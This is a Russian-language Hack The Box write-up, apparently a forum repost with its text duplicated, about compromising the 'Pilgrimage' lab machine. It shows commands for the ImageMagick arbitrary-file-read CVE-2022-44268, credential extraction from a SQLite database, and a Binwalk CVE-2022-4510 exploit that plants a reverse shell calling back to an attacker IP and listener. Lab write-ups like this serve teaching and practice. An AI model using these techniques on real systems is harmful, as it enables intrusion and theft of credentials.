stihl не предоставил(а) никакой дополнительной информации.
В этом райтапе я покажу, как воспользоваться утилитой для работы с бинарными файлами Binwalk, чтобы получить контроль над Linux. Но сначала попентестим веб‑сервер и проникнем на него благодаря неаккуратному использованию разработчиком утилиты ImageMagick.
Разбирать в этот раз будем тренировочную машину Pilgrimage с площадки Hack The Box. Уровень ее сложности — «легкий».
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел два открытых порта:
Главная страница сайта
git-dumper Для просмотра ссылки Войдиили Зарегистрируйся pilgrimage_git
Логи git-dumper
Для работы с git-репозиториями я использую функцию «Система управления версиями» в VS Code. В этом репозитории нашелся всего один коммит — начальный.
История коммитов
Переходим к анализу исходного кода сайта. Для регистрации и авторизации, как мы узнали из файлов register.php и login.php, используется база данных SQLite.
Содержимое файла register.php
Содержимое файла login.php
Регистрируемся на сайте, который предлагает нам загрузить изображение, чтобы уменьшить его. Версии «до» и «после», вероятно, будут показаны в таблице ниже.
Главная страница пользователя
Давай заглянем в исходный код файла index.php. Здесь обрабатывается POST-запрос, содержащий изображение. Переданное изображение сохраняется на сервере и с помощью утилиты ImageMagick уменьшается вдвое. После обработки пользователю предлагают загрузить новое изображение.
Содержимое файла index.php
Сам модуль ImageMagick тоже присутствует в каталоге сайта. Нам нужно узнать его версию, а затем поискать публично доступные эксплоиты. Мы можем манипулировать входными данными, а это типичный источник угроз.
Версия программы ImageMagick
У нас версия ImageMagick 7.1.0-49, ищем в Google готовый эксплоит.
Поиск эксплоита в Google
Для автоматического изменения PNG используем Для просмотра ссылки Войдиили Зарегистрируйся. Для пробы прочитаем файл /etc/passwd.
Создание изображения‑нагрузки
Теперь загружаем в веб‑сервис созданное изображение‑нагрузку, после чего получаем ссылку на новое изображение, с измененным размером.
Результат обработки изображения
Скачиваем полученный файл и находим в нем чанк с профилем.
Профиль в преобразованном приложении
Используем Для просмотра ссылки Войдиили Зарегистрируйся для декодирования шестнадцатеричного значения и получаем содержимое файла /etc/passwd, раскрывающее нам список пользователей.
Декодированный файл /etc/passwd
Уязвимость подтвердили, а значит, можем скачать и другие интересные файлы. Например, файл базы данных SQLite /var/db/pilgrimage, о котором мы узнали из исходного кода. Здесь наверняка найдутся учетные данные пользователей сайта.
Профиль нового изображения
Декодированный файл /var/db/pilgrimage
Это «сырые» данные, в которых можно заблудиться, поэтому активируем еще одну функцию CyberChef, чтобы отобразить только строки.
Строки из файла /var/db/pilgrimage
Таким образом получаем учетные данных трех пользователей. Нас интересует emily, поскольку такой пользователь есть и в системе тоже. Пробуем подключиться к SSH с этим же паролем и забираем флаг пользователя.
Флаг пользователя
или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на хост скрипт для Linux, дадим право на выполнение и запустим сканирование.
В дереве процессов видим скрипт /usr/sbin/malwarescan.sh, запускающий приложение inotifywait.
Дерево процессов
В списке файлов, измененных за последние пять минут, видим /var/www/pilgrimage.htb/shrunk/malicious.pfs. Этот же каталог передавался inotifywait.
Последние измененные файлы
К тому же у нас есть право записи в каталог /var/www/pilgrimage.htb/shrunk/ и файлы в нем.
Файлы, доступные для записи
Дальше я обычно использую утилиту Для просмотра ссылки Войдиили Зарегистрируйся, которая выводит информацию о запущенных процессах. Так обнаружился периодический запуск скрипта /usr/sbin/malwarescan.sh от имени пользователя root.
Логи pspy64
Давай глянем, что это за скрипт.
Содержимое файла malwarescan.sh
Здесь происходит вызов программы Binwalk, которой поочередно передаются файлы из каталога /var/www/pilgrimage.htb/shrunk/. Проверим версию используемой программы и поищем эксплоиты для нее.
Версия программы Binwalk
Поиск эксплоита для Binwalk
По первой ссылке представлен Для просмотра ссылки Войдиили Зарегистрируйся для уязвимости CVE-2022-4510.
Справка по эксплоиту
Эта версия Binwalk допускает обход каталога через функцию extractor в модуле plugins/unpfs.py. Когда Binwalk запускается с параметром -e, атакующий может извлечь файлы, находящиеся в любом каталоге файловой системы. Найденный эксплоит создает файл, который при обработке извлекает нагрузку в каталог .config/binwalk/plugins. Нагрузка — это реверс‑шелл, что дает нам возможность удаленного выполнения кода. Создаем такой файл и помещаем в каталог /var/www/pilgrimage.htb/shrunk/.
Создание файла с нагрузкой
Содержимое каталога /var/www/pilgrimage.htb/shrunk/
Запускаем листенер (pwncat-cs -lp 4321) и получаем бэкконнект от имени рута.
Флаг рута
Машина захвачена!
Разбирать в этот раз будем тренировочную машину Pilgrimage с площадки Hack The Box. Уровень ее сложности — «легкий».
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.219 pilgrimage.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Сканер нашел два открытых порта:
- 22 — служба OpenSSH 8.4p1;
- 80 — веб‑сервер Nginx 1.18.0.

Точка входа
Используем утилиту git-dumper, чтобы скачать весь репозиторий.git-dumper Для просмотра ссылки Войди

Для работы с git-репозиториями я использую функцию «Система управления версиями» в VS Code. В этом репозитории нашелся всего один коммит — начальный.

Переходим к анализу исходного кода сайта. Для регистрации и авторизации, как мы узнали из файлов register.php и login.php, используется база данных SQLite.


Регистрируемся на сайте, который предлагает нам загрузить изображение, чтобы уменьшить его. Версии «до» и «после», вероятно, будут показаны в таблице ниже.

Давай заглянем в исходный код файла index.php. Здесь обрабатывается POST-запрос, содержащий изображение. Переданное изображение сохраняется на сервере и с помощью утилиты ImageMagick уменьшается вдвое. После обработки пользователю предлагают загрузить новое изображение.

Сам модуль ImageMagick тоже присутствует в каталоге сайта. Нам нужно узнать его версию, а затем поискать публично доступные эксплоиты. Мы можем манипулировать входными данными, а это типичный источник угроз.
./magic -version

У нас версия ImageMagick 7.1.0-49, ищем в Google готовый эксплоит.

Точка опоры
Приложение ImageMagick 7.1.0-49 имеет уязвимость CVE-2022-44268 — чтение произвольного файла. Это даст нам возможность получать содержимое определенных файлов с удаленной системы. Причина уязвимости заключается в том, что при изменении размера изображения ImageMagick будет включать содержимое профиля в создаваемое изображение, при этом мы можем манипулировать значением этого профиля. Можем, например, к картинке добавить чанк текстового типа (например, tEXt), содержащий ключ и строку‑значение. Если ключ — строка profile, то ImageMagick интерпретирует значение как имя файла в системе и загружает его содержимое как необработанный профиль, после чего из нового изображения можно прочитать этот профиль в HEX-формате.Для автоматического изменения PNG используем Для просмотра ссылки Войди
cargo run "/etc/passwd"

Теперь загружаем в веб‑сервис созданное изображение‑нагрузку, после чего получаем ссылку на новое изображение, с измененным размером.

Скачиваем полученный файл и находим в нем чанк с профилем.
Код:
wget http://pilgrimage.htb/shrunk/64a7e8f368191.png
identify -verbose 64a7e8f368191.png

Используем Для просмотра ссылки Войди

Уязвимость подтвердили, а значит, можем скачать и другие интересные файлы. Например, файл базы данных SQLite /var/db/pilgrimage, о котором мы узнали из исходного кода. Здесь наверняка найдутся учетные данные пользователей сайта.


Это «сырые» данные, в которых можно заблудиться, поэтому активируем еще одну функцию CyberChef, чтобы отобразить только строки.

Таким образом получаем учетные данных трех пользователей. Нас интересует emily, поскольку такой пользователь есть и в системе тоже. Пробуем подключиться к SSH с этим же паролем и забираем флаг пользователя.

Локальное повышение привилегий
Теперь нам необходимо собрать информацию. Чтобы не тратить время на поиски и догадки, я в таких случаях использую скрипты PEASS.Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки ВойдиЗагрузим на хост скрипт для Linux, дадим право на выполнение и запустим сканирование.
В дереве процессов видим скрипт /usr/sbin/malwarescan.sh, запускающий приложение inotifywait.

В списке файлов, измененных за последние пять минут, видим /var/www/pilgrimage.htb/shrunk/malicious.pfs. Этот же каталог передавался inotifywait.

К тому же у нас есть право записи в каталог /var/www/pilgrimage.htb/shrunk/ и файлы в нем.

Дальше я обычно использую утилиту Для просмотра ссылки Войди

Давай глянем, что это за скрипт.

Здесь происходит вызов программы Binwalk, которой поочередно передаются файлы из каталога /var/www/pilgrimage.htb/shrunk/. Проверим версию используемой программы и поищем эксплоиты для нее.


По первой ссылке представлен Для просмотра ссылки Войди

Эта версия Binwalk допускает обход каталога через функцию extractor в модуле plugins/unpfs.py. Когда Binwalk запускается с параметром -e, атакующий может извлечь файлы, находящиеся в любом каталоге файловой системы. Найденный эксплоит создает файл, который при обработке извлекает нагрузку в каталог .config/binwalk/plugins. Нагрузка — это реверс‑шелл, что дает нам возможность удаленного выполнения кода. Создаем такой файл и помещаем в каталог /var/www/pilgrimage.htb/shrunk/.
python3 51249.py exp.png 10.10.14.46 4321


Запускаем листенер (pwncat-cs -lp 4321) и получаем бэкконнект от имени рута.

Машина захвачена!